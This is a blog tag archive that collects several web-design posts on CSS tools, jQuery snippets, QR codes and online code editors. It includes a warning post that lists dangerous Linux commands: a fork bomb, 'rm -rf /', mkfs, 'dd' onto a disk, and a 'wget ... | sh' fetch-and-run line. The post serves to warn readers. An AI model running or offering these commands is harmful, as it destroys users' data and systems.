All posts tagged “Codes”

5 Tools To Help Audit & Optimize Your CSS Codes

Once your website starts to grow, so will your code. As your code expands, CSS may suddenly become hard to maintain, and you may end up overwriting one CSS rule with another. This complicates things and you will probably end up with plenty of bugs.

If this is happening to you, it’s time for you to audit your site’s CSS. Auditing your CSS will allow you to identify portions of your CSS that is not optimized. You can also reduce the stylesheet filesize by eliminating lines of code that is slowing down your site’s performance.

Here are 5 good tools to help you audit and optimize CSS.

1. Type-o-matic

Type-o-matic is a Firebug plugin to analyze fonts that are being used in a website. This plugin gives a visual report in a table, bearing font properties such as the font family, the size, weight, color, and also the number of times the font is used in the web page. Through the report table, you can easily optimize the font use, remove what is unnecessary, or combine styles that are way too similar.

Type-o-matic

2. CSS Lint

CSS Lint is a linting tool that analyzes the CSS syntax based on specific parameters that address for performance, accessibility, and compatibility of your CSS. You would be surprised with the results, expect a lot of warnings in your CSS. However, these errors will eventually help you fix the CSS syntax, and make it more efficient. Additionally, you will also be a better CSS writer.

CSS Lint

3. CSS ColorGuard

CSS ColorGuard is a relatively new tool. It’s built as a Node module and it runs across all platforms: Windows, OS X, and Linux. CSS ColorGuard is a command line tool that will notify you if you are using similar colors in your stylesheet; e.g. #f3f3f3 is pretty close to #f4f4f4, so you might want to consider merging the two. CSS ColorGuard is configurable, you can set the similarity threshold as well as set the colors you want the tool to ignore.

4. CSS Dig

CSS Dig is a Python script and works locally on your computer. CSS Dig will run a thorough examination in your CSS. It will read and combine properties e.g. all background color declarations will go underneath the background section. That way you can easily make decisions based on the report when trying to standardize your CSS syntax e.g. you may find color across styles with the following color declaration.

 color: #ccc; color: #cccccc; color: #CCC; color: #CCCCCC; 

These color declarations do the same thing. You might as well go with the #ccc or with the capital #CCC as the standard. CSS Dig can expose this redundancy for other CSS properties too, and you will be able to make your code be more consistent.

CSS Dig

5. Dust-Me

Dust-Me is an add-on for Firefox and Opera that will show unused selectors in your stylesheet. It will grab all the stylesheets and selectors that are found in your website and find which selectors you are actually using in the web page. This will be shown in a report, you can then press the Clean button and it will clean up those unused selectors and save it to a new CSS file.

You can download this tools from Firefox Addons page or the developer’s site, and if you are Opera fans you can get it from the Opera Extensions Gallery page.





hongkiat.com

Ultimate Guide to HTTP Status Codes and Server Error Messages

Most of us are familiar with the gut-wrenching, nerve-wracking error codes like 404 and 500. But did you know that not all HTTP status codes and server error messages are mean and scary? Although…

Click through to read the rest of the story on the Vandelay Design Blog.


Vandelay Design

9 Linux Commands & Codes To Be Wary Of

Linux shell/terminal commands are very powerful and just a simple command could lead to one deleting a folder, files or root folder, etc.

In some cases, Linux won’t even ask you for confirmation rather it will execute the command right away causing you to lose valuable data and information stored in these files and folders.

It is common for people to post content on the web recommending new Linux users to execute these commands. This might seem like a joke for someone who has posted the content but it’s no laughing matter for the person on the other end.


(Image Source: Desktop Nexus)

We’ve gathered some Linux commands that are quite harmful for your system to help you avoid them. Do keep in mind that they are indeed dangerous and can even be altered in a variety of ways to produce new commands to inflict more damage.

An important thing to note is that some of these commands are only dangerous if they are prefixed with sudo on Ubuntu. While on other distributions of Linux, most of these given commands will be dangerous to execute as root.

Take a look at the 9 commands and codes you should avoid executing.

1. Linux Fork Bomb Command

:(){ :|: & };: also known as Fork Bomb is a denial-of-service attack against a Linux System. :(){ :|: & };: is a bash function. Once executed, it repeats itself multiple times until the system freezes.

You can only get rid of it by restarting your system. So be careful when executing this command on your Linux shell.

2. mv folder/dev/null Command

mv folder/dev/null is another risky command. Dev/null or null device is a device file that discards all the data written on it but it reports that the writing operation is executed successfully. It is also known as bit bucked or black hole.

3. rm -rf command

rm -rf command is a fast way to delete a folder and its content in the Linux operating system. If you don’t know how to use it properly then it can become very dangerous to the system. The most common combinations and options used with rm-rf command are listed below:

  • rm command is used to delete the files in Linux system.
  • rm -f command removes read-only files in folder without prompting.
  • rm -r command deletes the content of a folder recursively.
  • rm -d command is used to remove an empty directory but it will refuse to remove directory if it is not empty.
  • rm -rf/ command is used for forced deletion (it deletes it even if it’s write protected) of all the content in root directory and sub folders.
  • rm -rf* command is used for forced deletion of all the content in the current directory (directory you are currently working in) and sub folders.
  • rm -rf. command is used for forced deletion of all the content in the current folder and sub folders. The rm -r.[^.]* command can also be used.
  • rm -i command is used for removal of files and folders but a prompt will appear before removal.

4. mkfs command

mkfs can be a dangerous command for your Linux based system if you don’t know its purpose. Anything written after the mkfs will be formatted and replaced by a blank Linux file system.

All the commands mentioned below will format the hard drive and it requires administrator rights:

  • mkfs
  • mkfs.ext3
  • mkfs.bfs
  • mkfs.ext2
  • mkfs.minix
  • mkfs.msdos
  • mkfs.reiserfs
  • mkfs.vfat

The command mkfs.cramfs will do the same thing as the above but it does not require administrator rights to execute.

5. Tar Bomb

The tar command is used for combining multiple files into a single file (archived file) in .tar format. A Tape Archive (Tar) bomb can be created with this command.

It is an archive file which explodes into thousands or millions of files with names similar to the existing files into the current directory rather than into a new directory when untarred.

You can avoid becoming a victim of a tar bomb by regularly creating a new protective directory whenever you receive a tar file and then moving the received tar file into this directory before untarring.

If the tar file is indeed a tar bomb then you can simply remove the newly created directory to get rid of it. Another way to avoid the explosion of a tar bomb is via the -t option to list all of the content of a tar file to give you an idea of the type of content contained within the tar file.

6. dd command

The dd command is used to copy & convert hard disk partitions. However, it can turn out to be harmful if you specify the wrong destination.

The command may be any one of these:

  • dd if=/dev/hda of=/dev/hdb
  • dd if=/dev/hda of=/dev/sdb
  • dd if=something of=/dev/hda
  • dd if=something of=/dev/sda

The following command will zero out the whole primary hard drive: dd if=/dev/zero of=/dev/had

7. Shell Script Code

Someone may victimize you by giving you the link to a shell script and endorsing you to download and execute it. The script may contain some malicious or dangerous code inside. The format of command may look like this: wget http://some_malicious_source -O- | sh. The wget will download the script while the sh downloads the script execution.

8. Malicious Source Code

Someone gives you the source code and asks you to compile it. The code may appear to be a normal code but in fact some malicious code is disguised in the large source code and it may cause harm to your system. To avoid being victimized by this kind of attack, only accept and compile your source code from trustworthy sources.

9. Decompression Bomb

You have received a compressed file and you are asked to extract this file which appears to be very small in size but may be a few KB. In fact, this small sized compressed file contains very highly compressed data.

Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system. To avoid this situation, always remember to accept data from trustworthy sources.





hongkiat.com

How you can incorporate QR codes in your marketing strategy

qr-code

QR codes, otherwise known as quick response codes, have been actively and successfully used in North America for a number of years now. As opposed to a barcode, a QR code is a 2D code that can be scanned through a Smartphone to give the user immediate access to their online search; more specifically bringing your potential customers to your online market place in real time.

There are 1.75 billion smartphone users as of 2014 according to Emarketer. Therefore it goes without saying that there is definitely a market to be reached through mobile devices. Moreover, companies are being forced to keep up with the most current advertising techniques in order to maintain a competitive edge. A business owner that acknowledges the current tech trends will provide their business with the image of having an up to date, trustworthy, and innovative enterprise.

With so much information being broadcasted to people through so many different mediums on a minute-to-minute basis, people are longing for a personalized and interactive encounter. QR codes are one of the latest ways to deliver this.

According to I Acquire, 70 percent of mobile searches lead to direct action on the website within an hour, with 60 percent of people searching on their phone and 40 percent on a tablet. It only makes sense for a business that wants to maximize their revenue potential to look into optimizing their company for the online marketplace with the best tools possible. QR codes can be one of those tools.

So you’re opening your mind to the possibility of incorporating QR codes into your marketing strategy, but it’s not a particularly simple process. Here of the most important steps in developing your company’s QR code and making its use a smashing success.

How to Make a QR Code

There are many things to consider when choosing a code generator, although one of the most important functions is the ability to track and analyze results. Beyond the logistics, you’ll want your first QR impression to be unique to your brand. Besides, a little creativity never hurt anyone. The following are a few of the most popular choices within this framework:

Kaywa: Is known to be the simplest generator and as a result it’s also the most popular. This generator also permits you to customize your design for free.

Custom QR Codes: This generator will allow you to design your code similar to a logo.

GOQR.me: This generator uses a freemium approach, where the basic generator is free, but you can add additional features for a fee. What’s most impressive about this one is the fact that, in addition to being able to read a URL, phone number, or SMS, it can also link to a vcard, which would automatically save the contact information to your mobile phone.

Microsoft (MS) tags: This generator allows you to create your code in color, which is a rarity in code generators.

Make it Mobile Friendly

The last thing you want to do is invest all of this time and money into planting your QR code all over your print advertisements and then finding out the code doesn’t work. Since people are going to be scanning your code through their mobile phones, you have to make sure that when the code connects them to your website, they can actually view your site on their device. One of the most trusted platforms to create a mobile optimized website is Shopify, the platform is one of the best when it comes to creating online store and offers a host of other features which could come in handy when trying to attract a mobile based audience.

Have a Purpose

Ask yourself what exactly you are trying to accomplish by implementing QR codes into your marketing strategy. Do you want to increase your social media fan base, grow your email list, or simply encourage sales? By creating a clear objective you can plan the type of content you will connect your QR code to.

Make it Worth Their While

While you’re trying to generate leads, your customer is searching for something of value. So try to make it a fair trade. Have your QR code promote your business, but once your potential customer has gained interest and scanned your code, ensure that they’ve landed on something that gives them incentive to stay on your page and continue business with your company. For example, lead them to a page that provides a discount, free eBook, or VIP access.

Track Your Results

Using a QR management system will provide you with valuable information on your interested customers. Not every person who scans your QR code will end up buying something. Although, if you have a system in place that tracks and analyzes the activity from the scans, you will get a better understanding of what is working and what is not when it comes to your current marketing strategy.

According to the Social Media Examiner, Nick Martin of Microsoft said, “MS tags have the capability to accurately determine the location of a scan and report that data in real time.” This advantage will permit you to customize the content that is delivered to customers depending on where they are located.

The post How you can incorporate QR codes in your marketing strategy appeared first on Design daily news.

Download the free transport icons package now!


Design daily news

15 Must-Have jQuery Codes (AKA Snippets) To Add Vivacity to Your Website

Truth be told, JaveScript coding can be a ‘pain in the neck’ and not just sometimes but always. However, this has become a thing of the past now since the dawn of jQuery.

15 Must-Have jQuery Codes (AKA Snippets) To Add Vivacity to Your Website

jQuery is not a new language nor is it an independent platform, but a pre-written client-side script that harnesses the power of JavaScript Library. It is akin to a gift from heaven, especially, for front-end developers bestowed upon them only for one reason alone: ‘let there be code’.

As charming as it may sound, for someone who is just stepping into the web development field, it is important to at least have a basic knowledge of JavaScript. Otherwise, jQuery or no jQuery, getting one’s head around this script would always be a challenge.

Nevertheless, with just a single search on Google, you can easily get an infinite list of resources pointing to an infinite trove of jQuery snippets. But, finding the best ones that can speed-up the things on your end can be a bit hectic as well as time-consuming. To save you from this trouble, I’ve put together a list of some powerful jQuery snippets that are a ‘must’ for every developer.

1. Toggle Stylesheet
//Look for the media-type you wish to switch then set the href to your new style sheet
$  ('link[media='screen']').attr('href', 'Alternative.css');

Creating more than one stylesheet for a website is pretty common. Developers do this from time to time to make surfing convenient for visitors. For instance, some websites sport a pretty vibrant color scheme, which often seems irritating to some visitors. The best way to retain such visitors and give them a great user experience is to offer them an alternative stylesheet, say a simple black and white view, which can be done easily with this snippet.

2. Forbid Right-Click Menu
$  (document).ready(function(){
    $  (document).bind("contextmenu",function(e){
        return false;
    });
});

Some web developers disable contextual right-click menu on their web pages. One common reason of doing that is to fend off image stealers. Regardless of the reason, you can bind the right-click menu using this simple snippet.

3. Disable/Re-enable Input Field

to Disable:

$  ('input[type="submit"]').attr("disabled", true);

to Re-enable

$  ('input[type="submit"]').removeAttr("disabled”);

Oftentimes, we disable particular fields that can only be enabled if the visitor checks or fills the previous fields. Take for instance a disabled submit button on a form, which can only be enabled if the visitors check the ‘I accept terms and conditions’ box. Use the aforementioned scripts to disable or re-enable the fields.

4. Generate Clickable DIV
$  (".myBox").click(function(){
     window.location=$  (this).find("a").attr("href"); 
     return false;
});

If you want to link an entire DIV element and make it clickable, this is the jQuery you should be using. When a user click anywhere on the DIV, the ‘myBox’ value will look the link into the DIV class of ‘myBox’ in the HTML source and redirects the user to the link mentioned therein.

5. Load External Content
$  ("#content").load("somefile.html", function(response, status, xhr) {
  // error handling
  if(status == "error") {
    $  ("#content").html("An error occured: " + xhr.status + " " + xhr.statusText);
  }
});

Loading external file from a server onto a webpage has never been so easy. Use this script to try it yourself and see the results.

6. Scroll To Top
$  ("a[href='#top']").click(function() {
  $  ("html, body").animate({ scrollTop: 0 }, "slow");
  return false;
});

It is a pretty common yet powerful snippet that makes scrolling way easier and faster for visitors. The plugin allows users to go back at the top of the page no matter where they are surfing on the page. For instance, if a user scrolled his way to the end of a long page, he can immediately go back to the top by clicking ‘scroll to top’ or ‘top’ button. You can find a nice example of this snippet on almost every social media site.

7. Sense Mobile Devices
if( /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent) ) {
	// Do something
} else {
	// Do something else
}

This cute little library is a must tool for every developer as it allows you to detect what mobile device the user is using to surf content on your web page. The use of this script has become commonly lately due to the excessive amount of responsive web designs on the Internet.

8. Open Pop-ups
jQuery('a.popup').live('click', function() {</pre>
 newwindow=window.open($  (this).attr('href'),'','height=100,width=100');
  if(window.focus) {newwindow.focus()}
  return false;
});

There’s no better and effective way to increase conversion on your site than using eye-catching pop-ups. Although pop-ups can often be a bit annoying, they can be very productive if used stylishly. With the above script, you can easily open pop-ups on your pages.

9. Partial Page Refresh
setInterval(function() {
$  ("#refresh").load(location.href+" #refresh>*","");
}, 10000); // milliseconds to wait

At times, we only want to refresh a specific section of the web page to show new updates and keep the rest of the page as is. We do this by using the above script. You can see this script in action in almost every news portal in which news headlines need to be refreshed every few seconds.

10. Display Table Stripes
$  (document).ready(function(){                             
     $  ("table tr:even").addClass('stripe');
});

Using a uniform color scheme for a pricing or features table seems monotonous to users. Consequently, it might result in low conversions. The best way to handle this situation is to present them an elegant table sporting an alternate color scheme for TRs.

11. Fix Broken Img Links
$  ('img').error(function(){
$  (this).attr('src', ‘img/broken.png’);
});

It is very time-consuming as well as infuriating to check each and every image broken link and fix it manually. To save yourself from this trouble, you can use the above script to fix all the broken links at once.

12. Verify Checkbox is Checked

Single Checkbox:

$  ('#checkBox').attr('checked');

All Checkbox:

$  ('input[type=checkbox]:checked');

Whether you want to check if a single checkbox or multiple checkboxes are checked, you can do this using the abovementioned code. However, the code is only compatible with jQuery v 1.5 for v 1.6 replace ‘.attr’ with ‘.prop’.

13. Swap Input Fields
<!-- jQuery -->
$  ('input[type=text]').focus(function(){   
           var $  this = $  (this);
           var title = $  this.attr('title');
           if($  this.val() == title)
           {
               $  this.val('');
           }
}).blur(function() {
           var $  this = $  (this);
           var title = $  this.attr('title');
           if($  this.val() == '')
           {
               $  this.val(title);
           }
});

Swap or simply input fields are used to educate the visitor what they should write in a particular field. With the abovementioned script, the field will display the required text – take for instance ‘your name’ – which will be immediately swapped once the click is focused on the field.

14. Email Address Validation
(function ($  ) {
	$  .fn.validateEmail = function () {
		return this.each(function () {
			var $  this = $  (this);
			$  this.change(function () {
				var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$  /;
				if ($  this.val() == "") {
					$  this.removeClass("badEmail").removeClass("goodEmail")
				}else if(reg.test($  this.val()) == false) {
					$  this.removeClass("goodEmail");
					$  this.addClass("badEmail");
				}else{
					$  this.removeClass("badEmail");
					$  this.addClass("goodEmail");
				}
			});
		});
	};
})(jQuery);

A totally ‘must-have’ script, email validation library is necessary for every website having ‘contact-us’ form or an opt-in form to make sure that every user provides a valid email address. If the user enters a wrong email address, he will be immediately prompted with an ‘invalid-email’ message.

15. Open External Links in New Window
$  ('a').each(function() {  
  var a = new RegExp('/' + [removed].host + '/');  
  if(!a.test(this.href)) {  
    $  (this).click(function(event) {  
      event.preventDefault();  
      event.stopPropagation();  
      window.open(this.href, '_blank');  
    });  
 }  
});

Manually attributing all the external links on your web page with ‘target=”_blank”’ can be a very frustrating task. You can avoid this hectic task by using the above given script.

Wrapping Up

The jQuery snippets I presented in the extensive aforementioned list are the most popular and commonly used scripts that majority of websites use. Feel free to use the scripts at your discretion and let me know if it worked or not- though I am sure it will definitely work. Enjoy!

Visit us at InstantShift.com

PSD to HTML


InstantShift

Copy Codes from Websites Easily with SnappySnippet

As a web developer, we may occasionally find some inspiring elements on a website that makes you wonder how did they build that thing. Then, you’d think about getting a copy of that code. Chrome Devtools as well as Firebug of Firefox has actually shipped with the feature that makes it easy for us to copy HTML and CSS off a website.

However, these tools work to copy only HTML or CSS; you can’t use these tools to copy the CSS related to the HTML element you selected. For example, let’s say you are selecting an HTML element containing a couple of child elements, as follows.

 <div class="container"> <button>Submit</button> <p><span>By submitting you are agree to our term and condition</span></p> </div> 

Each of the element therein has their own specific style rules residing in the stylesheet. Some HTML elements may have inherited a couple of style rules that would make copying both the HTML and CSS together tricky. Here’s where you would love a tool like SnappySnippets.

Getting Started

SnappySnippet is a Chrome extension (get it here), that once installed, will give you a new tab named SnappySnippet within Google Chrome DevTools. This is where we will operate SnappySnippet.

To test it out, we have prepared a web page containing a couple of HTML elements forming a very nice simple web login form. Each of these HTML elements inherit CSS codes. To copy all these codes in a traditional way using the normal functionality from the browser DevTools, is going to take a bit of work.

With SnappySnippet though, everything is much simpler.

First, select which element you want to copy, then open the SnappySnippet tab and click the Create a snippet from inspected element button.

As you can see in the screenshot below, the element that we selected is copied incuding the child elements and placed within the HTML pane in the left hand side. All the style rules that shape those HTML elements are also copied and placed within the CSS pane.

The Settings

SnappySnippet allows us to set the code output. Under the two panes that is used for placing the HTML and CSS, you will find the Settings panel. You can set several things, such as removing the CSS property with the -webkit- prefix from the output, inserting prefix for the ID given to the HTML elements, and so forth.

Code Sharing

Web developers may be familiar with a code-sharing platform like Codepen. This websites allow web developers to share pieces of working code snippets. It is like a social network site but instead of sharing statuses and selfies, we share codes. With SnappySnippet, you can send the codes that you have copied to Codepen, JSFiddle, and JSBin.

To send the code, make sure that you have logged in to the respective website where you are going to send your codes. This is also to ensure that the codes will immediately be saved into your acccount. Then just click one of these three share buttons.

The codes that you copy will return exactly like what you see on the website.

Final Thought

SnappySnippet is a very handy tool for copying codes but remember to not use this as a means for plagiarizing other developer’s codes. Whatever copying you do, aim for a learning purpose, with the hope to learn something new from the techniques used. Blatant copying is not condoned, whether it is copyright-protected or not. Do use this tool well.





hongkiat.com

A Beautiful Collection Of Creative Ways To Implement QR Codes

Today, we are showcasing a collection of smart and creative ways to implement QR codes. If you really want that people pay attention towards your business, then you should have some awesome, new, unique and out of the box ideas that easily grab the people attention. QR is a unique and amazing idea for marketing any kind of business.

QR code makes your business product or service memorable and exciting. QR codes are very helpful when you put QR codes on your product and when your product users will scan the QR
code it provides your product users detailed information about the product. We hope that you will like this assortment. Feel free to share your opinion with us. Enjoy!

Delicious Guerrilla Marketing QR Code Made Out of Oreos By In A Gorilla Costume

qrcodes

Creative QR Code Designs 15 By liutian1937

qrcodes

QRiosity cards By b-type design

qrcodes

QR Art

qrcodes

QR Code Business Card With a Twist By fridgehead

qrcodes

Cubismo Iluminado By QR Street Art

qrcodes

Branded QR Code for Tigh-Na-Mara Resort

qrcodes

QR Codes

qrcodes

Painting Codes

qrcodes

QR Coding David Lee By qrcodeme

qrcodes

Corporate cards with QR code

qrcodes

QR Code Mug with Changing Quotes By TheLivingMug

qrcodes


Free and Useful Online Resources for Designers and Developers

Should You Be Designing With QR Codes?

screenshot

QR codes are all the rage… aren’t they? Their presence certainly seems to have increased in recent years, indicating an impressive adoption rate among marketers. But does that mean that you should be using them? If a client asks you whether or not using QR codes is a good idea, what will you say?

Join us as we take an honest and critical look at both sides of the QR debate so you can decide for yourself whether or not you should be designing with QR codes.

What Is A QR Code?

screenshot

The core concept behind a QR Code (Quick Response Code) is absolutely nothing new: it’s basically a barcode. If you were born any time in the last three or four decades, you’ve see barcodes nearly every day of your life. Just like any barcode, a QR Code can be used to store encoded pieces of information that can then be decoded by a special reader.

One big difference is that standard barcodes are made to be read with a beam of light while QR Codes are meant to be seen as an image. The scanner essentially takes a picture of the QR Code, then aligns the picture using specific identifiable patterns and finally uses the rest of the pattern as a binary code.

They might look random, but if you look close you’ll notice that all QR Codes share four very specific squares. These are used to give the scanner information on the alignment, rotation and skew of the code so that it can be sure to interpret the information correctly.

screenshot

The benefit here is that QR Codes can be scanned very quickly at multiple orientations and angles. They can also store quite a bit of information in a really small area.

The real potential for QR codes was realized when someone had the revelation that just about everyone carries a potential scanner in their pocket. Any cell phone with a camera and basic web capabilities can easily read and respond to QR Codes.

screenshot

The Promise

The promise of QR Codes, as presented to potential clients, is nearly irresistible. In print, your space is always limited. Whether we’re talking about a company brochure or a bus stop ad, there’s a pre-defined amount of space to communicate your message.

Beyond this, your message is typically 100% static and has little to no actual interaction with the customer. It’s just a passive pile of ink and you can’t do much with it.

With the web though, everything changes. Space is virtually unlimited, interaction capabilities are limited only by your imagination and the holy grail of marketing becomes possible with technologies like social media: sustained, continual customer contact.

A Gateway Drug

screenshot

The question of course is how to use limited printed media as a gateway to the unlimited and magical world of the Internet. QR Codes are one potential answer. “They’re easy to use and fun!” At least, that’s the sales pitch.

When you add a QR code to your boring old bus stop ad, suddenly it becomes an interactive advertising piece. A bored public transportation user will see it, point their phone at it and instantly be taken to a web page or even a video with more information.

screenshot

To make sure all of the right buzzwords are used, QR Codes are pushed as social media friendly. You can use them to gather Likes on Facebook, Follows on Twitter, Pins on Pinterest; the list goes on and on.

Liftoff

QR Codes have this strange sort of cult following. Designers and marketers everywhere jumped on board and brought lots of creativity to an idea that originally began as a way for Toyota to track vehicles through the manufacturing process.

Today you’ll find QR codes in the strangest places. As the centerpiece for guerrilla marketing campaigns the world over, QR codes have been spotted on brick walls, shirts, telephone poles, belt buckles, produce, baked goods, tombstones and just about everything else you can imagine.

screenshot

There’s even a Tumblr blog called “WTF QR Codes” which is dedicated to showcasing the ridiculous nature of QR Code advertising. Stop by and scroll through the results for a few minutes and you’ll instantly see how bizarre this form of marketing has become.

screenshot

Good or Evil?

Some people see QR Codes as a modern advertising marvel on the verge of ubiquity. Others see them as a hopeless gimmick that future generations will no doubt laugh at us for even attempting.

As a designer, you should have a stance on the subject. This should of course be an educated, intelligent stance, not an off the cuff judgment. When a client comes to you with a question about QR codes, you’ll either come off as snide and derogatory or an informed expert. To make sure it’s the latter, let’s go over a few common questions.

Are They Easy To Implement?

screenshot

Back when I was a full time designer for retail store brands, creating a barcode was sort of a pain. I had to purchase specialized and often expensive software, type in a very specific sequence of numbers, find a way to make sure it actually worked; it certainly wasn’t the most difficult part of my job but is wasn’t the highlight of my day either.

With a QR Code, the process is entirely different. There’s really almost no work on your part. Just Google “free QR Code generator” and you’ll find a bunch of websites that allow you to instantly create a QR code. Just type in a URL, choose a size and you’re good to go. If you want to test it, pull out your smartphone and any number of free QR scanning apps.

The bottom line is that QR codes couldn’t be easier to create. They size is also pretty flexible and since they’re squares they’re quite easy to integrate into a design.

Are They Easy To Use?

It’s hard to argue that QR Codes aren’t easy to use from the perspective of the person creating them, but what about from a user’s perspective? This is a matter that’s highly up for debate.

If you talk to someone in favor of QR Codes, the process sounds simple: just pull out your phone and zap the code. That’s all there is to it! It couldn’t be any easier right?

However, if you talk to someone who isn’t a fan of QR Codes, you might hear something drastically different. According to this crowd, the process is much more complex:

  • Pull out your phone.
  • Search for your phone’s built-in QR Code reader (oh wait, there isn’t one).
  • Search for that QR code app that you downloaded one time, the name of which escapes you.
  • Realize that you deleted that app ages ago because you never used it. Go to app store, search for and download a new free QR Code reader.
  • Take a nap because you’re exhausted at this point.
  • Launch app and wait for the camera to initiate.
  • Hold phone up to QR Code.
  • Wait for browser to launch and page to load.
  • Tadaah, a web page! Wasn’t that easier than typing an a URL?

Obviously, this process is overflowing with hyperbole, but it makes an interesting point about how the typical QR Code user experience could possibly be perceived as anything but quick and convenient.

The simple truth is that if you ask ten people what they think of QR Codes, you’ll likely get a few that think they’re an overhyped waste of ink.

Do People Actually Scan Them?

According to Zimbio.com, QR Codes were present in 1% of print advertising in January of 2011, a number which shot up to 6% by December of the same year. Once again, this tells us that advertisers like them, but what about the general public?

Data is scattered and hard to find, but we can gleam a lot from a report titled “9 Things to Know About Consumer Behavior and QR Codes“, which was released in January of 2012.

screenshot

According to this report, 79% of respondents had never heard of a QR Code. However, when shown a picture of a QR Code, 81% of respondents claimed to have seen one before. This lends credence to the idea that marketers love QR Codes a lot more than your average Joe!

“Half of all smartphone owners have scanned a QR Code and 70% of those respondents claimed that it was an easy process.”

</ br>

Does this spell doom for QR Codes? Not so fast. The same report also claimed that half of all smartphone owners have scanned a QR Code and 70% of those respondents claimed that it was an easy process. Further, 41% of respondents said QR Codes were useful, 42% had mixed feelings and 18% said they weren’t useful.

These numbers aren’t off the charts in the positive direction, but they’re actually much better than many naysayers claim. The blanket statement “nobody uses QR Codes” seems to be far from true. As long as your target market is smartphone owners, there’s a good chance that they both know what QR Codes are and are familiar with how to use them.

Are QR Codes a Fad?

In the 1990s, the world was ready for a replacement for cassette tapes. CDs were the obvious choice if you were purchasing music but they didn’t fully replace cassettes in at least one important way: recording.

Any kid with a Walkman or simple audio cassette recorder could make his/her own tapes. This was a great way to have fun, record music and quickly save information for later review. As great as CDs were for listening to your favorite tunes, they didn’t share the quick record feature.

screenshot

That’s where MiniDiscs came in, or at least were supposed to. I thought MiniDisc players were amazing. They were better than cassettes in a million different ways. They used random access memory, so you could easily split your recordings into tracks and browse through them individually later. No more fast forwarding to find what you wanted! The players were stylish, small and had digital controls, which were very cool at the time.

I was completely convinced that these were the devices of the future. Fast forward to 2012 though and four out of five people that I ask have never even heard of MiniDisc players and those that do have some recollection don’t recall why they were cool or even what they really were. So what the heck happened?

MiniDiscs failed for a number of reasons. They were initially too expensive to replace cheap CDs for music and late in the game the arrival of the MP3 provided the final nail in the coffin. The digital revolution hit with force and we stopped thinking of audio as something to be carried around on a series of plastic objects that had to be inserted into something. Instead, devices recorded, played and transferred audio all on their own with no pile of physical storage necessary.

screenshot

The Point of That Long Metaphor

Why is there a history of MiniDisc players in an article about QR Codes? Because when I see a QR Code, my mind instantly jumps to the lesson of the MiniDisc. I feel like QR Codes are a temporary and flawed solution to a problem that either doesn’t exist or will be solved by something else very soon.

If a QR Code just takes me to a web page, then a short URL seems just as easy or even more so. Further, new technology such as NFC threatens to take away a healthy chunk of the cell phone information gateway in the future.

The same report that I referred to earlier noted that 46% of respondents that had scanned a QR Code were simply curious about what it would do. This is a high number that indicates that lots of QR traffic is the result of it being a new technology that people want to understand. Eventually, when most people have tried it, these curious first timers will vanish.

We’re in a pretty serious state of flux at the moment with mobile technology advancing at breakneck speeds. It’s impossible to say for certain whether or not QR Codes will be an integral part of mobile-targeted advertising for years to come, but overzealous adopters need to prepare for the very real possibility that these things will be a fuzzy memory in a few years.

Tips For Designing With QR Codes

With all this in mind, we can see that QR Codes are currently at worst a fad that will fade quickly and at best a great way to grab the interest of a healthy chunk of smartphone owners. As long as we proceed with this information in check, we can come up with some common sense guidelines for designing with QR Codes.

Give Users an Alternative

Unless you want to dramatically limit the number of people who can access the information trapped inside of the QR Code, make sure that you have an alternative. This often takes the form of a simple URL under or beside QR Code.

Use Mobile Friendly Content

Always consider that virtually all of the people scanning your QR Code will be doing so with a mobile phone. If the code leads to a website that is optimized to work on desktops, you’ve failed. Make sure the content on the other end is usable at a small size and doesn’t use Flash or other non-mobile technologies.

Creativity Pays Off

That curiosity factor that we mentioned earlier is obviously a huge hook for QR Code users. As QR Codes become more ubiquitous, they become easier to ignore, just like sidebar ads on the Internet they’ll quickly become almost invisible to many people. Make sure you put some serious thought into presentation. How can you catch your audience’s attention and leverage their curiosity to score a scan?

Have Clear Goals In Mind

Getting people to scan your QR Code is an impressive feat, but if you don’t use that opportunity wisely then it’s a big fat waste of time. If you get a million scans but don’t successfully educate or encourage people towards further action, you haven’t really accomplished anything. Scoring social media love is an obvious goal that could pay off in the long term.

Don’t Be Stupid

As the site WTF QR Codes clearly demonstrates, this technology is overused, abused and often poorly understood. QR Codes on a billboard next to a highway with an average speed of 75mph probably aren’t the best use of your client’s advertising dollars.

What Do You Think?

Now that you’ve seen the statistics, read my rants and considered my advice, it’s time for you to chime in using the comments below.

Do you think QR Codes are the savior of printed marketing or are they another overhyped marketer’s fantasy that normal people simply don’t care about? If clients ask you whether or not they should use QR codes, what will you say?

Design Shack

15 Websites To Test Your Codes Online

Modern trends and webapps have dramatically changed the way web developers can build. Obviously you need some type of IDE to code new files and save them for deployment. But what about just testing your code snippets? There are more tools available now than ever before!

In this article I want to outline 15 interesting web apps for testing your code online. All of these apps require an Internet connection, and some of the more advanced editors offer pro plans to upgrade your account features. But most of these tools will surely come in handy when you’re scrambling to debug a block of JavaScript or PHP.

1. Codepad

Originally created by Steven Hazel, Codepad is a unique web app where you can share code syntax across the Web. Instead of just debugging, Codepad allows you to copy/paste important bits of code to share online.

Codepad online IDE in browser

The output screen displays any error messages associated with your code. The left-hand menu radio buttons allow you to change the parsing language from C/C++, Perl, PHP, Python, Ruby, and tons more. I would argue Codepad is really for software engineers who need to collaborate and debug their more confusing programs.

2. Write Code Online

The main website for WriteCodeOnline.com actually redirects to their JavaScript editor. You can choose among JS, PHP, and basic URL encoding. Their application is very safe to use and feels lighter than other alternatives.

WriteCodeOnline.com JavaScript coding IDE

What’s interesting is that you’ll see the output results directly underneath the text field. So when you hit “run code” it will parse through everything and display the result for you to see. It can be tough debugging some larger PHP scripts because you need to include other files.

However for just testing the waters on a new idea, you can get a lot of value from this application.

3. Tinkerbin

Tinkerbin may actually be my favorite online code editing resource. It supports web developers coding in HTML5/CSS3/JS and renders the output directly on-screen. The application is still in Alpha development, but most of the tools work perfectly and can quickly catch bugs.

online HTML/CSS/JS code editor Tinkerbin

The rendering engine also supports more obscure languages such as Coffeescript and Sass within CSS. Their console is very advanced and clearly supports many of the same trends you’d expect moving into the future of web design.

Another interesting note is how the most popular functionality actually supports keyboard shortcuts! This is something you hardly see on any webapp, let alone an in-browser source code editor. As you type new tags, the IDE will auto-indent new lines. Tinkerbin is truly the best frontend tool you can have in your web developer’s toolbox.

4. JS Bin

In a similar fashion as above, jsbin is a simple JavaScript debugging console. Their pitch involves a collaborative effort where you can share a private link with other developers and write together in real time.

jsBin website code screenshot

